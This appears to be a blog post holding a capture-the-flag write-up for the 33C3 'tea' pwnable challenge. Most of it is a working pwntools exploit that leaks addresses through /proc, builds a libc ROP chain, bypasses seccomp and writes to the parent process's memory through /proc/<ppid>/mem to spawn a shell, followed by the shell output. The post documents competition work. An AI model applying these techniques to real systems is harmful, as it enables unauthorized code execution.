33C3 CTF - tea

CTF/2016 2018. 12. 14. 18:53

Category : pwnable


Summary : bypass seccomp, close(0x8000000000000002), overwrite parent process memory



Exploit

#!/usr/bin/python

from pwn import *

s = process('./tea')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

def parse_maps(maps):
res = {}
get_base = lambda x : int(x.split('-')[0], 16)
for line in maps.splitlines():
if 'r-x' in line and 'libc' in line:
res['libc_base'] = get_base(line)
res['child_stack'] = get_base(line) - 0x100000000000
return res

def get_ppid(status):
for line in status.splitlines():
if line.startswith('PPid:'):
return int(line[6:])


def step(filename, count, done=False, stdin=False, data='', exp=False):
ru('access?\n')
sl('r')
ru('filename?\n')
sl(filename)
ru('lseek?\n')
sl(str(0))
ru('count?\n')
sl(count)
if stdin:
time.sleep(0.3)
ss(data)
if exp:
return None
length = int(rg('read \d+ bytes\n').split(' ')[1])
res = rr(length)
ru('quit? (y/n)')
sl('y' if done else 'n')
return res

ppid = get_ppid(step('/proc/self/status', str(0x1000)))
maps = parse_maps(step('/proc/self/maps', str(0x1000)))
libc_system = maps['libc_base'] + 0x45390
libc_argv = maps['libc_base'] + 0x3c92f8
# gadgets
libc_sh_string = maps['libc_base'] + 0x0011e70
libc_open = maps['libc_base'] + 0xf7030
libc_write = maps['libc_base'] + 0xf72b0
libc_close = maps['libc_base'] + 0xf78e0
libc_clone_fini = maps['libc_base'] + 0x10741d
libc_lseek = maps['libc_base'] + 0x107440
libc_pop_rdi = maps['libc_base'] + 0x00021102
libc_pop_rsi = maps['libc_base'] + 0x000202e8
libc_pop_rdx = maps['libc_base'] + 0x001150a6

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data='a'*0x28 + p64(0) + p64(3) + p64(libc_argv))
stack = u64(leak[0:8])
parent_waitpid_retaddr = stack - 0x130

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data
='a'*0x28 + p64(0) + p64(3) + p64(stack - 0x110))
child_read_retaddr = maps['child_stack'] + u64(leak[0:8]) - 0x68

pay = ''
pay += p64(libc_pop_rdi)
pay += p64(0x8000000000000001) # 1 (stdout)
pay += p64(libc_close)

pay += p64(libc_pop_rdi)
pay += p64(child_read_retaddr + 8 * 23 + 8 * 3)
pay += p64(libc_pop_rsi)
pay += p64(2)
pay += p64(libc_open)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(parent_waitpid_retaddr)
pay += p64(libc_pop_rdx)
pay += p64(0)
pay += p64(libc_lseek)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(child_read_retaddr + 8 * 23)
pay += p64(libc_pop_rdx)
pay += p64(8 * 3)
pay += p64(libc_write)

pay += p64(libc_clone_fini)

pay += p64(libc_pop_rdi)
pay += p64(libc_sh_string)
pay += p64(libc_system)
pay += '/proc/{}/mem\x00'.format(ppid)

step('/proc/self/fd/0', str(-0x80000000).ljust(0x28, '\x00') + p64(0) + p64(3) + p64(child_read_retaddr),
False
, stdin=True, data=pay, exp=True)


s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './tea': pid 2211
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF > 2016' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
SECCON CTF QUAL 2016 - jmper  (1) 2017.01.02
SECCON CTF QUAL 2016 - checker  (0) 2017.01.02

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret